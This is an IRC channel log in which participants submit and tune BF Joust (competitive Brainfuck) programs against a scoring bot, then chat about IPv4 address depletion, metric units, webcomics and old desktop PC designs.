15:30:33 <ais523> Gregor: hmm, is it a poke that skips small values?
15:30:39 <Gregor> ais523: Yup.
15:30:43 <ais523> I was wondering about that
15:30:44 <Vorpal> ais523, what does alligator do?
15:30:49 <Vorpal> alligators*
15:30:57 <ais523> changes strategy halfway through its clear
15:31:08 <ais523> luckily, doing that means that it takes a huge amount of time to move off a tape cell
15:31:10 <Vorpal> ah
15:31:15 <ais523> that confuses most previous defence programs
15:31:20 <ais523> but it turns out it's detectable
15:32:12 -!- BeholdMyGlory has joined.
15:32:23 <ais523> oh, I also added a brainfuck-joust-mode to esolangs.el
15:32:29 <Vorpal> ais523, would it be a decent tactic to assume the length of the tape is, say, 11 or longer and get an advantage on the longer tapes at the expense of failing at a handful or short ones?
15:32:43 <ais523> no; it used to be, but that works badly against large decoys
15:32:46 <Vorpal> or does the scoring somehow bias against such behaviour?
15:32:56 <Vorpal> ais523, hm?
15:33:00 <ais523> because the amount you lose is equal to the amount you gain
15:33:12 <Vorpal> ais523, how do you mean
15:33:38 <Vorpal> ais523, what i meant was doing (>)*11 instead of (>)*9 or such
15:33:48 <EgoBot> Score for ais523_defend9_75: 40.5
15:33:51 <Vorpal> while you would lose on the short tapes there are many more long tapes
15:33:52 <ais523> the advantage you gain on the longer tapes if, say, you abandon length 10, only works on a number of tape elements equal to the nubmber you skip
15:33:55 <ais523> hmm, only 40.5?
15:34:07 <Vorpal> ais523, hm
15:34:07 <Deewiant> It went down from the previous
15:34:27 <Deewiant> 21 | + + + + + - 0 + - + + + + + - + + + + + - + + - - + - + + + + - - - - + + + + + + + + - + - | 42.8 | 11.4 | 21 | ais523_defend9_75.bfjoust
15:34:30 <Deewiant> 21 | + + + + + - - + - + + + - + + + + + + + - + + - - + + - + + + - - - - + + + + + + + + - + - | 40.5 | 10.5 | 21 | ais523_defend9_75.bfjoust
15:34:44 <Gregor> Sweet
15:34:50 <Vorpal> ais523, why did it use to be a good tactic though?
15:35:01 <ais523> because decoys were small and the length of trails mattered
15:35:05 <ais523> nowadays, though, people don't use trails
15:35:06 <Vorpal> ah
15:35:29 -!- asiekierka has quit (Ping timeout: 276 seconds).
15:35:38 <ais523> hmm, I can't do this fix after all, it'll kill egojoust
15:35:39 <Vorpal> ais523, but for a fast rush style program that would give less time for the opponent to set up a large decoy though
15:36:07 <ais523> 1 cycle?
15:36:18 <ais523> it's only going to help on 1 tape length
15:36:27 <Vorpal> hm true
15:38:09 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
15:49:00 <Gregor> !bfjoust huzzah ((-)*256(+)*256)*-1
15:49:28 <Gregor> I don't know why I keep trying this stupid crap :P
15:50:27 <quintopia> it'll do no better than any shudder...
15:50:44 <quintopia> it might draw more often maybe
15:52:01 -!- augur has joined.
15:53:38 <Gregor> Gregor_huzzah.bfjoust vs Gregor_return_of_ehird_defend8mwahahaha.bfjoust:
15:53:38 <Gregor> <><><><><><><><><><>< <><><><><><><><><><>< <><><><><><><><><><>< <><><><><><><><><><><
15:53:38 <Gregor> Gregor_huzzah.bfjoust wins
15:53:39 <Gregor> Hyuk
15:53:56 <quintopia> lol
15:54:58 <EgoBot> Score for Gregor_huzzah: 11.1
15:55:12 <quintopia> :D
15:55:38 <quintopia> not as good as good_vibrations was
15:55:47 <Gregor> *shock*
15:56:12 -!- MigoMipo has joined.
15:56:29 <Gregor> Still, my strapon pegging girls are so good at the deep poke.
15:56:35 <Gregor> >_>
15:56:41 <Gregor> DEEP poke.
15:56:46 <Gregor> Oh sorry, just thinking about something else.
15:57:22 <Gregor> Anyway, I foresee an arms race exactly like the current offset-vs-decoy arms race, but one level indirected into deep poke.
15:59:06 <quintopia> i wouldn't be surprised. people building bigger decoys during initial rush, slowing themselves down a bit to avoid the deep poke, while poking deeper themselves
15:59:06 -!- Zuu has changed nick to Xyz.
15:59:17 <ais523> defend9.75 has an anti-deep-poke already
15:59:22 <ais523> but it may not be fast enough
15:59:43 <ais523> it's actually there for the purpose of beating saccharin_philip, for a mostly unrelated reason
15:59:54 <quintopia> i still think the primary benefit of a poke is to get a little bit more room on longer tapes, and would rather see more strategy develop in the midgame
16:00:00 -!- Xyz has changed nick to Zuu.
16:00:09 <Gregor> saccharin_philip isn't even on the board any more :P
16:00:15 <ais523> I don't think pokes are all that powerful
16:00:18 <ais523> Gregor: I know :(
16:00:45 <Gregor> ais523: It was brilliant back when nobody was doing it, but poke-v-poke is ineffectual :P
16:01:01 -!- sftp has quit (Remote host closed the connection).
16:01:54 <ais523> it doesn't help at all against reverse-decoy-setup defence
16:01:59 <ais523> in fact, it actually hinders
16:05:20 <Gregor> !bfjoust decoys_are_dead_just_rush_instead (>+>-)*4(>[[-]]+>[[-]]-)*11
16:05:46 <Deewiant> That looks almost exactly like an old version of monorail
16:05:47 <Gregor> (Prediction: faillol)
16:05:55 -!- oerjan has joined.
16:07:04 <EgoBot> Score for Gregor_decoys_are_dead_just_rush_instead: 13.1
16:07:38 <Gregor> Yesssssssssssssssssssssssss
16:13:21 <Gregor> !bfjoust ill_bet_you_have_four_decoys (>)*8(>[>>>(>[[-]])*17])*21
16:13:37 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 7.5
16:13:39 <Gregor> That might be so fast that the name is true but the behavior is wrong :P
16:13:59 <Gregor> !bfjoust ill_bet_you_have_four_decoys (.)*256(>)*8(>[>>>(>[[-]])*17])*21
16:14:32 <Gregor> Ohwait, starting this with (>)*8 makes no sense too :P
16:14:46 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 8.1
16:14:53 <Gregor> !bfjoust ill_bet_you_have_four_decoys (.)*256(>)*4(>[>>>(>[[-]])*17])*21(>[[-]])*4
16:15:15 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 11.0
16:15:26 <Gregor> !bfjoust ill_bet_you_have_four_decoys (.)*256(>)*4(>[>>>(>[(+)*30[-]])*17])*21(>[(+)*30[-]])*4
16:15:38 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 15.2
16:16:07 * oerjan has this inkling that the () parentheses perhaps should be optional around single characters...
16:16:17 <Gregor> !bfjoust ill_bet_you_have_four_decoys (>(+)*32>(-)*32)*4(>[>>>(>[(+)*30[-]])*17])*21(>[(+)*30[-]])*4
16:16:21 <oerjan> like with regexps
16:16:32 <Gregor> oerjan: Eh, it makes parsing it a modicum easier *shrugs*
16:16:41 <oerjan> yeah i realize that
16:16:46 <Gregor> oerjan: Also it lets * be a comment in any place other than after )
16:16:53 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 28.3
16:16:57 <Gregor> Well well well
16:18:01 <Gregor> !bfjoust ill_bet_you_have_four_decoys (>(+)*64>(-)*64)*2(>[>>>(>[(+)*30[-]])*17])*17(>[(+)*30[-]])*4
16:18:14 <oerjan> Gregor: i am just noticing that () around single chars seems rather common
16:18:16 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 28.1
16:19:25 <Gregor> !bfjoust ill_bet_you_have_four_decoys (>)*4(+)*64<(-)*64<(+)*64<(-)*64>>> (>[>>>(>[(+)*30[-]])*17])*17(>[(+)*30[-]])*4
16:21:02 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 33.1
16:21:05 <Gregor> !bfjoust ill_bet_you_have_four_decoys (>->+)*2(+)*64<(-)*64<(+)*64<(-)*64>>> (>[>>>(>[(+)*32[-]])*17])*17(>[(+)*32[-]])*4
16:21:17 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 32.2
16:21:23 <Gregor> Worse :P
16:21:24 -!- copumpkin has joined.
16:22:47 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*64<(-)*63>>> (>[>>>(>[(+)*32[-]])*17])*17(>[(+)*32[-]])*4
16:23:02 <Gregor> Whoops, that's not quite what I wanted...
16:23:22 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 34.4
16:23:28 <Gregor> Heh
16:23:38 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*85<(-)*85>>> (>[>>>(>[(+)*32[-]])*17])*17(>[(+)*32[-]])*4
16:23:57 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 28.5
16:24:04 <Gregor> Yowza
16:24:09 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[>>>(>[(+)*32[-]])*17])*17(>[(+)*32[-]])*4
16:24:17 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 39.8
16:24:22 <oerjan> actually i don't think it needs to be much harder to parse. all you need is a pointer to the previous command (you may want to null that when passing comments) when hitting a *, you don't need to insert anything before the already parsed command
16:24:52 <oerjan> in fact the logic could be entirely in the standalone * parsing
16:25:14 <oerjan> (assuming you can peek at the previous char)
16:25:53 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[>>>(>[(+)*32[-].[[.-].[.++-------[...-]]]])*17])*17(>[(+)*32[-].[[.-].[.++-------[...-]]]])*4
16:26:05 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 39.3
16:26:14 <Gregor> Worse again >_>
16:28:21 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[>>>(>[(+)*32[-]])*17])*21(>[(+)*32[-]])*4
16:29:39 <oerjan> except for *0, which simply resets the end of the compiled program to the previous command instead (works with literal () too)
16:30:02 <oerjan> *start of the previous
16:30:11 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 44.1
16:30:17 <Gregor> lololololol
16:30:37 <Gregor> oerjan: For me it's just that I'd have to insert some artificial things into the parsed command stream, which is doable but obnoxious :P
16:30:49 <Gregor> ill_bet_you_have_four_decoys is now #7 X-D
16:30:52 <oerjan> _what_ artificial things?
16:31:19 <Gregor> oerjan: ( and ). All my looping logic is in the handling of BFJ.PSTART and BFJ.PEND.
16:32:17 <oerjan> ok maybe your design isn't compatible with this
16:32:50 <oerjan> if you are not using actual pointers
16:33:10 <oerjan> if you are using pointers, ( can be a nop and so needs no representation
16:36:12 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ ([+{([-{ >>>(>[(+)*32[-]])*21 }])%8}])%4 ])*21(>[(+)*32[-]])*4
16:36:15 <oerjan> (i am thinking of imperatively parsing bfjoust more as a kind of bytecode compiling)
16:36:37 <Gregor> I'm talking about egojsout :P
16:38:19 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 41.2
16:38:26 <Gregor> Whoopsipoo :P
16:38:33 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*32[-]])*21 ])*21(>[(+)*32[-]])*4
16:38:45 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 44.1
16:38:48 <Gregor> Looks like doing a deep-poke-alike didn't do so well there.
16:39:40 <oerjan> oh well if you use javascript's functional features (note i don't really know javascript), then this should be even easier
16:39:47 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ [+([-{ >>>(>[(+)*32[-]])*21 }])%2] ])*21(>[(+)*32[-]])*4
16:39:55 <oerjan> no need to lay down the result in an array as you go
16:40:11 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 41.1
16:40:14 <Gregor> Bleh
16:40:17 * oerjan feels like he is trolling right now :D
16:40:17 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*32[-]])*21 ])*21(>[(+)*32[-]])*4
16:43:39 -!- azaq23 has quit (Ping timeout: 250 seconds).
16:44:49 -!- asiekierka has joined.
16:45:11 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 44.1
16:45:11 <Gregor> oerjan: I'm the one writing ill_bet_you_have_four_decoys :P
16:45:11 <Gregor> Now that is trolling.
16:45:12 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*33[-]])*21 ])*21(>[(+)*33[-]])*4
16:45:13 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 43.1
16:46:29 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*9[-]])*21 ])*21(>[(+)*9[-]])*4
16:46:29 <Gregor> (Much worse)
16:46:40 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 30.1
16:46:48 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*32[-]])*21 ])*21(>[(+)*32[-]])*4
16:46:49 <quintopia> you aren't actually checking for four decoys you know
16:46:56 <Gregor> quintopia: Yes I am.
16:47:02 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 44.1
16:47:09 <Gregor> Errr, not "checking", no.
16:47:13 <Gregor> Just skipping them under the assumption that they're there.
16:47:20 <quintopia> you are checking that the first decoy you see is at least 4 out from the flag
16:47:28 <Gregor> Fair enough.
16:47:46 <quintopia> and that it is within 4 of the 10th cell
16:47:50 <Deewiant> Gregor: Tweaking constants, I see!
16:48:05 <Gregor> Deewiant: This isn't a serious contender, it's just a troll :P
16:48:08 <quintopia> try making the last 4 in the program bigger
16:48:19 <quintopia> say, 25
16:48:35 <Gregor> quintopia: ... 4 + 21 + 4 = 29
16:48:49 <quintopia> so?
16:48:56 <quintopia> try it
16:49:02 <Gregor> quintopia: 4 + 21 + 4 > 29, so that's just running off the tape for no reason.
16:49:10 <Gregor> Erm
16:49:14 <Gregor> 4 + 21 + 25 > 29 :P
16:49:22 <quintopia> ...
16:49:59 <quintopia> your program quits if it doesn't find a nonzero value on cells 9-12
16:50:16 <quintopia> you may do better by looking forward a bit
16:50:23 <Gregor> quintopia: No, it doesn't, it looks at cells 9-29 X_X
16:50:42 <Deewiant> Gregor: You have (>[stuff])*4
16:50:53 <quintopia> oh maybe i'm misreading
16:51:01 <quintopia> mah bad
16:51:07 <Gregor> Deewiant: Yes, for if I got to a cell so far ahead, that skipping decoys guarantees me to jump off the tape.
16:51:30 <Gregor> ^^^ totes English you guys
16:51:31 <Deewiant> Oh, right
16:51:37 <quintopia> i mentally matched parens wrong
16:51:39 <Deewiant> Ditto
16:51:52 <Deewiant> It looks like the *4 wraps the whole thing
16:52:27 <Gregor> !bfjoust ill_bet_you_have_four_decoys >->(+)*37<(-)*37>>> (>[ >>>(>[(+)*32[-]])*21 ])*21 YOU GUYS LOOKA THE SPACE HERE LOL (>[(+)*32[-]])*4
16:52:45 <EgoBot> Score for Gregor_ill_bet_you_have_four_decoys: 44.1
16:52:54 <quintopia> I SEE IT
16:53:06 <quintopia> why didn't you put it there to begin with?
16:53:23 <quintopia> geez man, does readability mean nothing to you?
17:02:32 <Gregor> It's amazing that you thought it got to 7th place with a bug that glaring :P
17:03:38 <Gregor> !bfjoust ill_bet_you_have_six_decoys >->(+)*37<(-)*37>>> (>[ >>>>>(>[(+)*32[-]])*21 ])*19 YOU GUYS LOOKA THE SPACE HERE LOL (>[(+)*32[-]])*6
17:03:54 <EgoBot> Score for Gregor_ill_bet_you_have_six_decoys: 28.6
17:04:12 <Gregor> lol
17:04:18 <Ilari> APNIC down 0.06 (1x/15+1x/16 to Hong Kong, 1x/15 to China, 1x/15+1x/18+2x/22 to Singapore, 1x/18+1x/19+2x/22 to Japan, 8x/16+1x/19+1x/24 to Australia). On IPv6 front: 2x/32 to Australia, 1x/32 to Indonesia.
17:04:39 <Gregor> !bfjoust ill_bet_you_have_six_decoys <3
17:04:50 <EgoBot> Score for Gregor_ill_bet_you_have_six_decoys: 0.0
17:07:47 -!- sftp has joined.
17:19:20 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
17:20:36 <Ilari> APNIC totals for month (IPv4(blocks)/IPv6): Allocated this month : 11 252 480(0.67)/3 342 349. Extrap. to 28 days: 17 503 857(1.04)/5 199 209. To 31 days: 19 379 271(1.16)/5 756 267. Last month: 23 735 040(1.41)/2 818 065.
17:27:43 -!- iamcal has quit (Ping timeout: 240 seconds).
17:30:19 <Ilari> This month is already 16th highest in IPv4 allocation counts (out of present allocations). At that extrapolated amount, this month would rank the 4th. Out of top 20, 9 are from last year or this year.
17:32:25 <Vorpal> <quintopia> it'll do no better than any shudder... <-- why do you hate shudders so much?
17:33:25 <Gregor> There's a scene in the episode of Futurama that's a parody of Titanic where Kif goes to Brannigan and the conversation goes something like this: "We have a problem." "Come back when it's a catastrophe." *ship crashes*
17:33:43 <Gregor> That conversation is a parallel to ipv4->ipv6 migration :P
17:39:03 <Ilari> Allocation rate this month: 13.61bpa. Last month was 16.67bpa. 10bpa would deplete present pool in about 5 months, 12bpa would do it in about 4.2 months, 15bpa in about 3.4 months.
17:40:08 -!- sebbu2 has joined.
17:40:08 -!- sebbu2 has quit (Changing host).
17:40:08 -!- sebbu2 has joined.
17:42:04 -!- oerjan has quit (Quit: Later).
17:42:41 -!- sebbu has quit (Ping timeout: 276 seconds).
17:43:14 <pikhq> Ilari: Dang.
17:48:13 <Ilari> IETF&co realized "We have a problem" in the 90s. IPv6 IANA pool was created 1st July 1999. After that, problem mitigation has been pretty lackluster.
17:50:34 <Ilari> Reminds me of Metric Act of 1866. In the following 145 years, not much progress (besides some new industries).
17:51:35 -!- copumpkin has joined.
17:53:10 <Ilari> Well, when IPv4 DFZ routing table size starts to give serious headaches and ISP support phones are ringing off the hook with support requests because of NAT444, perhaps then IPv6 deployment will really take off...
17:53:37 <Gregor> Ilari: I thought the Metric Act just /allowed/ metric where otherwise disallowed, it didn't really /encourage/ it.
17:55:14 -!- pikhq has quit (Ping timeout: 240 seconds).
17:55:29 -!- pikhq has joined.
17:55:58 <Ilari> Yup. But back then metric adoption was "hotter" topic. But then it "died".
17:57:49 <pikhq> Metric adoption is actually happening in the US, though.
17:58:06 <pikhq> Almost entirely because industry doesn't want to retool stuff for domestic use.
17:58:42 <ais523> it's mostly happened in the UK already
17:59:00 <ais523> although you still get things like beer sold in pints
17:59:11 <pikhq> For instance, US cars are now down entirely in metric, with the only non-metric bits being the speedometer...
17:59:13 <ais523> (the bar has to say what the size of a pint is in metric, but that's normally in tiny small print somewhere)
17:59:19 -!- oerjan has joined.
17:59:24 <ais523> UK speedometers are marked in both mph and kph
17:59:29 <ais523> although the speed limit is measured in mph
17:59:35 <pikhq> Same in the US.
17:59:41 <pikhq> MPH as the primary marking.
17:59:53 <ais523> here it seems more or less random which is the primary
18:00:20 <pikhq> I'm sad that the US road standards recently stopped allowing metric.
18:00:32 <pikhq> Not that it matters too much; there was like one or two roads with metric signage.
18:00:44 <Ilari> Oh, and electric units are already metric. Imperial electric units existed but are apparently totally forgotten.
18:01:09 <pikhq> ... There were imperial electric units?
18:01:17 <pikhq> I'm scared.
18:01:41 <ais523> not only that, but there are three separate sets of metric electric units
18:01:42 <pikhq> Probably can't beat the elegance of, say, the kg m^2 c^-1 s^2.
18:01:49 <ais523> although people are standardised on SI nowadays
18:02:02 <pikhq> ais523: Well, yes, there are many different forms of metric systems.
18:02:09 <pikhq> But who gives a crap about non-SI?
18:02:41 <pikhq> s/c^-1/C^-1/
18:03:15 <Ilari> I haven't been able to locate any more information about imperial electric units than that those existed.
18:03:56 <pikhq> Probably just died out really quick, courtesy of physics being so very much simpler in metric systems.
18:05:00 -!- cal153 has joined.
18:05:41 <Ilari> But if rest of imperial system is of any indication, those units were a real Charlie Foxtrot.
18:06:05 <pikhq> Yeah...
18:06:31 <pikhq> The only sane way to do complex calculation on imperial units is, of course, to convert to and from metric first. As I'm sure you well know.
18:06:45 <Ilari> Metric system is internally consistent. Imperial system isn't.
18:10:09 -!- elliott has joined.
18:14:15 <Ilari> There's also fun page containing the meter/inch ratio. The correct value is of course 5000/127 = 39.[370078740157480314960629921259842519685039]. It had numerious diffrent ways to round that number plus various strange values.
18:15:05 <Ilari> (collected from various sources).
18:16:52 <elliott> FAIL: firefoxlive.org, promotional site for Firefox streaming live video of firefoxes, requires Flash to play.
18:18:00 <pikhq> Fail.
18:18:58 <Sgeo> I'm considering switching to Firefox 4 when it comes out
18:20:39 <elliott> pikhq: Although *to be fair*, there's no Standard(TM) way to do live streaming right now.
18:22:00 <elliott> 21:32:02 <Vorpal> <elliott> oerjan: what pace do you recommend i archive-binge iwc btw? i've been meaning to. <-- divide in 7. Spread it out over a single week
18:22:01 <pikhq> elliott: Clearly <video> should support Icecast.
18:22:06 <elliott> Vorpal: let's assume IWC only has 2000 comics.
18:22:11 <elliott> Vorpal: that has me reading 286 comics a day.
18:22:32 <elliott> Vorpal: I'm already reading like 400 comics a day for Homestuck, and _those_ are at least single-panel :P
18:23:01 <Vorpal> <elliott> Vorpal: I'm already reading like 400 comics a day for Homestuck, and _those_ are at least single-panel :P <-- wait, how many strips are there in that one?
18:23:14 <elliott> Vorpal: um about 4000.
18:23:21 <elliott> but they don't directly map to normal comic strips.
18:23:28 <elliott> because it updates about 5 panels/day.
18:23:31 <Vorpal> elliott, also doesn't homestuck have quite a bit of text iirc?
18:23:40 <elliott> well, yes :P
18:23:47 <elliott> it's more like one of those text adventure games where you could see pictures above
18:23:52 <elliott> for the mostpart
18:23:53 <Vorpal> elliott, of course with IWC you have those annotations
18:23:58 <elliott> *most part
18:24:01 <elliott> Vorpal: argh, don't remind me :D
18:24:09 <elliott> maybe i should get up to date with Homestuck first ...
18:24:36 <elliott> although that runs the risk of forgetting that there exist universes without hideously overly-complicated inventory systems.
18:24:58 <Vorpal> elliott, while they are often short they sometimes you hit the occasional door-stopper about Cantor's proofs or the Banach–Tarski paradox
18:25:11 -!- Phantom_Hoover has joined.
18:25:22 <elliott> Maybe I'll have a more hilarious time if I read them all in a ridiculous Australian accent.
18:25:32 <Vorpal> elliott, I never read homestuck, didn't look very interesting. What is the setting of them?
18:25:59 <Vorpal> wait argh what. homestuck uses animated gif?
18:26:07 <elliott> Yes. And Flash updates. Sometimes with sound. :P
18:26:07 <Phantom_Hoover> Homestuck is yet another Webcomic I Don't Read.
18:26:12 <Vorpal> elliott, ouch
18:26:20 <Vorpal> Phantom_Hoover, it seems elliott does however.
18:26:37 <Vorpal> while I don't plan to read it I did take a look at it just now since he mentioned it
18:26:51 <elliott> Vorpal: It's hard to say much without spoiling, but basically, the whole thing is set in something vaguely resembling an RPG (among the various modi it can be in are stack (can only access top element, shoves the bottom one off), queue (etc.), hash map (with configurable hash function), tree, ...), with a game in-game that uh
18:26:52 <oerjan> Vorpal: incidentally the previous iwc poll clearly showed that the option readers wanted most to have more of was precisely these long scientific annotations
18:26:56 <elliott> It's seriously simpler to read it than explain it X-P
18:27:10 * oerjan voted Supers personally, because it's been so long since the last one
18:27:16 <elliott> But it is awesome.
18:27:29 <Vorpal> elliott, wait, *what* can be a stack
18:27:34 <Phantom_Hoover> FFS, I hate being isolated from civilisation like this.
18:27:37 <elliott> Vorpal: The protagonist's inventory.
18:27:40 <elliott> *protagonists'
18:28:01 <elliott> Vorpal: Which is operated by CAPTCHALOGUING things into a SYLLADEX.
18:28:08 <elliott> (Yes, CAPTCHA-loguing.)
18:28:37 <oerjan> of course supers seem unlikely to come back, being drawn by someone else
18:28:44 <Vorpal> <oerjan> Vorpal: incidentally the previous iwc poll clearly showed that the option readers wanted most to have more of was precisely these long scientific annotations <-- they are fun indeed. But I don't think they would work very well if they weren't about something relevant to the comic. I think it is the combination of fun stories and the annotations that make iwc what it is
18:28:54 <Vorpal> elliott, ah
18:29:23 <Vorpal> elliott, "SYLLADEX"? who thought that was a good word for *anything*
18:29:46 <elliott> Vorpal: If someone setting their hash-map inventory to use Scrabble letter scores as the (per-letter) hash function appeals to you, then it's worth reading just for that :P
18:30:15 <Ilari> Heh. UDP-Lite (protocol #136).
18:30:16 <Vorpal> elliott, also am I right in that homestuck front page contains the first comic and there is no obvious "today" button anywhere
18:30:24 <Vorpal> (I want to check artwork)
18:30:43 <oerjan> Vorpal: hey that sounds like a way to force your readers to read chronologically XD
18:31:08 <elliott> Vorpal: I think a "today" button would be a massive spoiler :P
18:31:14 <elliott> Vorpal: But you can click the archive.
18:31:17 <elliott> (At the top)
18:31:31 <Vorpal> oerjan, well... had iwc photo quality not improved since the first strip I might have given up fairly early. Same goes for comics like schlock and so on
18:31:52 <elliott> The artwork isn't usually substantially different from how it was at the start, but the scenes are a lot more varied and colourful at least at the point I'm up to.
18:32:05 <Vorpal> elliott, ah I see. You clicked today too?
18:32:06 <Vorpal> or?
18:32:12 <elliott> No, I didn't :P
18:32:19 <Vorpal> elliott, is the story concluded?
18:32:22 <elliott> No.
18:32:31 <Vorpal> okay if you say so...
18:32:38 <oerjan> Vorpal: there's clearly a tradeoff there...
18:32:51 <Vorpal> oerjan, hm?
18:33:07 <oerjan> avoiding spoilers vs. seeing the current style
18:33:23 <elliott> It's kind of hard to get a sense of style when everything's one-panel, though :P
18:33:27 <elliott> Since it'll be really context-sensitive.
18:33:37 <Vorpal> oerjan, I do not intend to read that webcomic anyway
18:34:24 <oerjan> Vorpal: i was speaking hypothetically anyway. you could embellish the concept (in a way that would alas make no one want to read it) by requiring login and having links only work for people who had already read that far
18:34:57 <oerjan> (login since just using cookies would be horrendously annoying if they cleared)
18:35:11 <Vorpal> oerjan, Anyway compare: http://www.schlockmercenary.com/2000-06-12 and http://www.schlockmercenary.com/2011-02-18 . And http://www.irregularwebcomic.net/3.html (first "proper") and http://www.irregularwebcomic.net/
18:35:27 <Vorpal> oerjan, I always do that sort of check if I have the urge to binge :P
18:35:32 <oerjan> Vorpal: i already know dmm has got much better cameras
18:35:49 <Vorpal> oerjan, indeed but I was pointing out the contrast.
18:36:30 <Gregor> You know what I /still/ miss? The desktop PC. By which I mean the desktop /form factor/, with a flat(ish) box and the monitor sitting on top.
18:36:50 <pikhq> That form factor sucked.
18:36:52 <Vorpal> Gregor, eh, they are annoying to service
18:36:55 <pikhq> Makes the monitor way, way too high.
18:36:55 <Vorpal> Gregor, cramped
18:36:59 <elliott> Gregor: that form factor fucking terrified me
18:37:00 <elliott> I was like
18:37:01 <elliott> holy shit
18:37:01 <pikhq> And I'm tall!
18:37:04 <elliott> this CRT monitor is so heavy
18:37:06 <elliott> it's gonna like
18:37:07 <elliott> destroy the case
18:37:11 <elliott> and everything will sparks and death and aah
18:37:29 <Vorpal> I seen that form factor recently. Next to a TFT monitor though
18:37:30 <Gregor> Vorpal: That is true. pikhq: People usually have to prop up their monitors anyway, the desktop just needs to be the right height. elliott: You wtf
18:37:34 <Vorpal> fairly new HP box
18:37:40 <elliott> Gregor: Do you have any idea how heavy CRTs were
18:37:41 <Vorpal> with core 2 duo marking
18:37:48 <elliott> And how flimsy computer case material was
18:37:49 <Gregor> elliott: Friggin' heavy.
18:37:53 <Gregor> elliott: But we don't use them any more.
18:37:54 <Vorpal> elliott, weren't they using steel cases?
18:37:56 <Gregor> elliott: Therefore who cares.
18:38:04 <Sgeo> That form factor is dead?
18:38:15 <Gregor> Sgeo's Pentium II still uses it!
18:38:38 <Sgeo> I've seen that form factor in my high school in 2007
18:38:42 <Sgeo> I was thinking ooh pretty
18:38:50 <elliott> ~~~~PENTIUM II NOSTALGIA~~~~
18:38:59 <Sgeo> Gregor, my Pentium III does not use that form factor
18:39:00 <Vorpal> <Gregor> Vorpal: That is true. pikhq: People usually have to prop up their monitors anyway, the desktop just needs to be the right height. elliott: You wtf <-- if you get consumer crap you still have to prop up monitors. You basically need to get office equipment to get ones with stands that you can adjust in height
18:39:05 <Vorpal> I can't see why
18:39:14 <pikhq> Gregor: I don't want to have eye level at the bottom of my monitor.
18:39:22 <Sgeo> My Pentium II is a computer I never used
18:39:25 <elliott> <Vorpal> I am Swedish and therefore think everyone in the world is freakishly tall.
18:39:32 <Vorpal> elliott, ... what?
18:39:37 <Sgeo> I cannabalized it for the CD-RW drive
18:39:38 <elliott> DON'T DENY
18:39:44 <Gregor> Swedes are freakishly tall.
18:39:57 <Vorpal> elliott, I'm tall compared to many at university. Who are also Swedish
18:40:07 <Gregor> pikhq: How retardedly high is your desk or low is your seat?
18:40:23 <pikhq> Gregor: I dunno, it's entirely comfortable with just the monitor sitting here.
18:40:38 <Gregor> pikhq: For the bottom of my monitor to be at eye level, it would have to be elevated like a foot and a half above the desk.
18:40:49 <Vorpal> Gregor, anyway I had an acer monitor I had to put one part of an encyclopedia under for it to be comfortable to use.
18:40:59 <pikhq> Gregor: I'm exaggerating, but only somewhat.
18:41:10 <Gregor> pikhq: I'm not.
18:41:23 <oerjan> vorpal the giant
18:41:38 <Vorpal> oerjan, what? I'm just 1.89 m
18:41:45 <oerjan> (there has to be a more phonologically appropriate word than giant, there)
18:41:45 <elliott> "just"
18:41:46 <Vorpal> okay I'm tall
18:41:48 <Vorpal> but no giant
18:41:49 <elliott> How many 1.9 m people do you know?
18:42:03 <Vorpal> elliott, uh... Don't know. Never counted.
18:42:06 <oerjan> vorpal the ogre is closer, but not quite right
18:42:15 <elliott> Vorpal the Boring?
18:42:16 <Vorpal> elliott, I know a handful that are taller than me
18:42:28 * oerjan googles "vorpal the"
18:42:33 <Phantom_Hoover> Also, complete non-sequitur:
18:42:37 <elliott> Vorpal: You use one of those distros that uses the Firefox codename for title bars etc. right?
18:42:39 <Phantom_Hoover> 13:03:08 <pikhq> Asztal: To simulate gravity, of course. ← SHELL THEOREM BITCH
18:42:41 <Vorpal> I can think of 5 I saw in class today at university
18:42:55 <Vorpal> elliott, arch has it as "Namoroka" yes
18:43:00 <Sgeo> Is Firefox 4 less painful than Firefox 3.x?
18:43:04 <Vorpal> elliott, and the blueish logo
18:43:29 <elliott> Vorpal:
18:43:30 <elliott> 20:45:39 <elliott> "Firefox 4 is code-named Tumucumaque, after the world's largest rainforest park."
